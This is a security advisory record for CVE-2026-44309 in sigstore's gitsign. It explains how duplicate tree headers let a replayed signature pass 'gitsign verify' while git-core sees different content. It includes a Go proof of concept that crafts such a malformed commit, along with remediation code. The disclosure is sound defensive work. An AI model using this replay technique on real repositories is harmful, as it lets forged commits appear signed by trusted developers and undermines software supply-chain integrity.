{"id":"GHSA-7rmh-48mx-2vwc","summary":"gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits","details":"## Summary\n\n`gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.\n\n## Severity\n\n**Medium** (CVSS 3.1: 5.7)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network — a malformed commit can be distributed via any accessible git remote\n- **Attack Complexity:** High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)\n- **Privileges Required:** None — the most impactful form (signature replay) requires no signing key\n- **User Interaction:** Required — a victim must run `gitsign verify` on the malformed commit\n- **Scope:** Unchanged — impact is confined to the repository under verification\n- **Confidentiality Impact:** None\n- **Integrity Impact:** High — a verified signature appears to endorse content different from what git-core resolves and presents to users\n- **Availability Impact:** None\n\n## Affected Component\n\n- `internal/commands/verify/verify.go` — `(o *options).Run` (line 75)\n- `internal/commands/verify-tag/verify_tag.go` — `(o *options).Run` (line 77)\n- `pkg/git/verify.go` — `ObjectHash` (lines 126–158, specifically the `commit()` round-trip at 161–176)\n\n## CWE\n\n- **CWE-347**: Improper Verification of Cryptographic Signature\n- **CWE-295**: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered)\n\n## Description\n\n### Root cause: re-encoding instead of raw-byte verification\n\nWhen `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier:\n\n```go\n// internal/commands/verify/verify.go:63–92\nc, err := repo.CommitObject(*h)          // go-git parses the raw object\n...\nc2 := new(plumbing.MemoryObject)\nif err := c.EncodeWithoutSignature(c2); err != nil {  // re-encodes canonical form\n    return err\n}\nr, _ := c2.Reader()\ndata, _ := io.ReadAll(r)\n\nsummary, err := v.Verify(ctx, data, sig, true)   // verifies re-encoded bytes, not raw bytes\n```\n\nThe same pattern appears in `verify-tag`:\n\n```go\n// internal/commands/verify-tag/verify_tag.go:76–95\ntagData := new(plumbing.MemoryObject)\nif err := tagObj.EncodeWithoutSignature(tagData); err != nil {\n    return err\n}\n```\n\n### The loose-parsing assumption in go-git\n\nThe codebase itself acknowledges the problem in `ObjectHash`:\n\n```go\n// pkg/git/verify.go:137–142\n// We're making big assumptions here about the ordering of fields\n// in Git objects. Unfortunately go-git does loose parsing of objects,\n// so it will happily decode objects that don't match the unmarshal type.\n// We should see if there's a better way to detect object types.\nswitch {\ncase bytes.HasPrefix(data, []byte(\"tree \")):\n    encoder, err = commit(obj, sig)\n```\n\ngo-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves.\n\n### Divergent verification paths confirm the inconsistency\n\nThe `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them:\n\n```go\n// internal/commands/root/verify.go:56–70\ndetached := len(args) \u003e= 2\nif detached {\n    data, sig, err = readDetached(s, args...)  // raw bytes from git-core\n} else {\n    sig, err = readAttached(s, args...)\n}\n...\nsummary, err := v.Verify(ctx, data, sig, true)  // raw bytes, no re-encoding\n```\n\nThe two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes).\n\n### Concrete attack: signature replay without a signing key\n\nAn attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:\n\n```\ntree T1                        ← Alice's real tree (what go-git and gitsign see)\nauthor Alice \u003calice@corp.com\u003e ...\ncommitter Alice \u003calice@corp.com\u003e ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n \u003cAlice's valid signature over T1 canonical form\u003e\n -----END SIGNED MESSAGE-----\n\nThis is Alice's commit.\n```\n\nAn attacker crafts a new malformed commit object:\n\n```\ntree T2                        ← attacker's malicious tree (git-core uses this)\ntree T1                        ← Alice's tree (go-git uses this)\nauthor Alice \u003calice@corp.com\u003e ...\ncommitter Alice \u003calice@corp.com\u003e ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n \u003cAlice's valid signature — replayed verbatim\u003e\n -----END SIGNED MESSAGE-----\n\nThis is Alice's commit.\n```\n\n- **`gitsign verify`**: go-git picks T1, re-encodes, Alice's signature verifies. Output: \"Good signature from alice@corp.com.\"\n- **`git log` / `git-core`**: uses T2 (attacker-controlled content).\n- **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object.\n\nThe attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`.\n\n## Proof of Concept\n\n```go\n// poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go\npackage main\n\nimport (\n    \"context\"\n    \"crypto\"\n    \"crypto/ecdsa\"\n    \"crypto/elliptic\"\n    \"crypto/rand\"\n    \"crypto/x509\"\n    \"crypto/x509/pkix\"\n    \"fmt\"\n    \"io\"\n    \"math/big\"\n    \"strings\"\n    \"time\"\n\n    \"github.com/go-git/go-git/v5/plumbing\"\n    \"github.com/go-git/go-git/v5/plumbing/object\"\n    \"github.com/go-git/go-git/v5/storage/memory\"\n    \"github.com/sigstore/gitsign/internal/signature\"\n    ggit \"github.com/sigstore/gitsign/pkg/git\"\n)\n\ntype identity struct {\n    cert *x509.Certificate\n    priv crypto.Signer\n}\n\nfunc (i *identity) Certificate() (*x509.Certificate, error)       { return i.cert, nil }\nfunc (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }\nfunc (i *identity) Signer() (crypto.Signer, error)                { return i.priv, nil }\nfunc (i *identity) Delete() error                                  { return nil }\nfunc (i *identity) Close()                                         {}\n\nfunc indentSig(sig string) string {\n    sig = strings.TrimSuffix(sig, \"\\n\")\n    lines := strings.Split(sig, \"\\n\")\n    out := \"gpgsig \" + lines[0] + \"\\n\"\n    for _, ln := range lines[1:] {\n        out += \" \" + ln + \"\\n\"\n    }\n    return out\n}\n\nfunc main() {\n    priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n    tmpl := &x509.Certificate{\n        SerialNumber:          big.NewInt(1),\n        Subject:               pkix.Name{CommonName: \"attacker\"},\n        NotBefore:             time.Now().Add(-time.Minute),\n        NotAfter:              time.Now().Add(time.Hour),\n        KeyUsage:              x509.KeyUsageDigitalSignature,\n        ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},\n        BasicConstraintsValid: true,\n    }\n    rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)\n    cert, _ := x509.ParseCertificate(rawCert)\n\n    treeFirst  := strings.Repeat(\"a\", 40) // git-core uses this\n    treeSecond := strings.Repeat(\"b\", 40) // go-git uses this\n    author     := \"author Eve \u003ceve@example.com\u003e 1700000000 +0000\"\n    committer  := \"committer Eve \u003ceve@example.com\u003e 1700000000 +0000\"\n    msg        := \"msg\\n\"\n\n    // Sign the go-git canonical form (second tree only)\n    canonicalData := fmt.Sprintf(\"tree %s\\n%s\\n%s\\n\\n%s\", treeSecond, author, committer, msg)\n    id := &identity{cert: cert, priv: priv}\n    resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),\n        signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})\n    if err != nil {\n        panic(err)\n    }\n\n    // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)\n    malformedRaw := fmt.Sprintf(\"tree %s\\ntree %s\\n%s\\n%s\\n%s\\n%s\",\n        treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)\n\n    st := memory.NewStorage()\n    enc := st.NewEncodedObject()\n    enc.SetType(plumbing.CommitObject)\n    w, _ := enc.Writer()\n    _, _ = w.Write([]byte(malformedRaw))\n    _ = w.Close()\n    c, err := object.DecodeCommit(st, enc)\n    if err != nil {\n        panic(err)\n    }\n\n    // Reproduce what gitsign verify does\n    out := new(plumbing.MemoryObject)\n    if err := c.EncodeWithoutSignature(out); err != nil {\n        panic(err)\n    }\n    r, _ := out.Reader()\n    verifyData, _ := io.ReadAll(r)\n\n    roots := x509.NewCertPool()\n    roots.AddCert(cert)\n    v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))\n    _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)\n\n    objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))\n    rawObj := &plumbing.MemoryObject{}\n    rawObj.SetType(plumbing.CommitObject)\n    _, _ = rawObj.Write([]byte(malformedRaw))\n\n    fmt.Println(\"FIRST_TREE_IN_RAW (git-core):\", treeFirst)\n    fmt.Println(\"SECOND_TREE_IN_RAW (go-git):\", treeSecond)\n    fmt.Println(\"GO_GIT_PARSED_TREE:\", c.TreeHash.String())\n    fmt.Println(\"VERIFY_DATA_EQUALS_CANONICAL:\", string(verifyData) == canonicalData)\n    fmt.Println(\"CERT_VERIFY_ERROR:\", verr)           // nil = signature accepted\n    fmt.Println(\"OBJECTHASH_ERROR:\", oerr)\n    fmt.Println(\"OBJECTHASH_FROM_VERIFY_DATA:\", objHash)\n    fmt.Println(\"RAW_MALFORMED_COMMIT_HASH:\", rawObj.Hash().String()) // differs from objHash\n}\n```\n\n**Expected output:**\n\n```\nFIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nSECOND_TREE_IN_RAW (go-git):  bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nGO_GIT_PARSED_TREE:            bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nVERIFY_DATA_EQUALS_CANONICAL:  true\nCERT_VERIFY_ERROR:             \u003cnil\u003e          ← signature accepted\nOBJECTHASH_ERROR:              \u003cnil\u003e\nOBJECTHASH_FROM_VERIFY_DATA:   \u003chash of canonical form\u003e\nRAW_MALFORMED_COMMIT_HASH:     \u003cdifferent hash\u003e   ← hash mismatch confirms split\n```\n\n## Impact\n\n- **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).\n- **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key.\n- **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.\n- **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability.\n\n## Recommended Remediation\n\n### Option 1: Verify against raw bytes (preferred)\n\nChange the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`:\n\n```go\n// internal/commands/verify/verify.go — replace lines 63–92\nenc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)\nif err != nil {\n    return fmt.Errorf(\"error reading encoded commit object: %w\", err)\n}\nr, err := enc.Reader()\nif err != nil {\n    return err\n}\nrawBytes, err := io.ReadAll(r)\nif err != nil {\n    return err\n}\ndata, sig, err := git.ExtractSignatureFromRawObject(rawBytes)\nif err != nil {\n    return err\n}\n// data is now the raw bytes without the gpgsig header — identical to what git-core passes\nsummary, err := v.Verify(ctx, data, sig, true)\n```\n\nThis aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly.\n\n### Option 2: Detect and reject malformed objects\n\nAdd a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing:\n\n```go\nfunc validateRawCommitFields(data []byte) error {\n    seen := map[string]bool{}\n    for _, line := range bytes.Split(data, []byte(\"\\n\")) {\n        if idx := bytes.IndexByte(line, ' '); idx \u003e 0 {\n            key := string(line[:idx])\n            if seen[key] {\n                return fmt.Errorf(\"malformed commit: duplicate field %q\", key)\n            }\n            seen[key] = true\n        }\n        if len(line) == 0 {\n            break // end of headers\n        }\n    }\n    return nil\n}\n```\n\nThis is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","aliases":["CVE-2026-44309"],"modified":"2026-05-08T22:47:29.188701Z","published":"2026-05-08T22:38:50Z","database_specific":{"github_reviewed_at":"2026-05-08T22:38:50Z","severity":"MODERATE","nvd_published_at":null,"cwe_ids":["CWE-295","CWE-347"],"github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/sigstore/gitsign/security/advisories/GHSA-7rmh-48mx-2vwc"},{"type":"PACKAGE","url":"https://github.com/sigstore/gitsign"}],"affected":[{"package":{"name":"github.com/sigstore/gitsign","ecosystem":"Go","purl":"pkg:golang/github.com/sigstore/gitsign"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.16.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7rmh-48mx-2vwc/GHSA-7rmh-48mx-2vwc.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N"}]}